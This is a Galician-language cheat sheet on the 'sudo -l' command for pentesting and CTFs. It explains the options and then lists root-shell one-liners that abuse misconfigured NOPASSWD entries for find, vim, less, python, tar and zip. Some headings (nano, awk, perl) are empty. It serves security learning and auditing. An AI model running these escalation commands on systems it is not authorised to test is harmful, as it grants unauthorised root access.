sudo -l - Verificación de Privilexios Sudo
Recursos útiles
Descrición
Comando para listar os permisos sudo dun usuario sen necesidade de contrasinal de root. Fundamental para detectar vectores de escalada de privilexios.
Sintaxe básica
Opcións principais
| Opción | Descrición |
|---|---|
-l |
Listar comandos permitidos para o usuario actual |
-u <usuario> |
Verificar permisos doutro usuario |
-U <usuario> |
Listar permisos dun usuario específico (require privilexios) |
Exemplos de uso
# Verificar permisos sudo do usuario actual
sudo -l
# Exemplo de saída típica:
# User john may run the following commands on target:
# (ALL : ALL) ALL
# (root) NOPASSWD: /usr/bin/find
# (root) NOPASSWD: /usr/bin/vim
# Analizar vectores de escalada
sudo -l | grep NOPASSWD
Escalada de privilexios común
Con find
# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/find
sudo find /etc/passwd -exec /bin/bash \;
sudo find . -exec /bin/sh \; -quit
Con vim/vi
# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'
# ou dentro de vim:
:set shell=/bin/bash
:shell
:sh
Con less/more
# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
# Dentro de less, escribir:
!/bin/bash
Con nano
Con awk
Con python
# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/python
sudo python -c 'import os; os.system("/bin/bash")'
Con perl
Con tar
# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/tar
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
Con zip
# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/zip
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
Notas adicionais
- NOPASSWD indica que non se require contrasinal para executar ese comando
- Sempre verificar GTFOBins para métodos de escalada
- Moitos binarios permiten execución de comandos ou shells
- A configuración de
sudogárdase en/etc/sudoers - Os erros de configuración en
sudoersson moi comúns en CTFs e entornos reais
Máis información...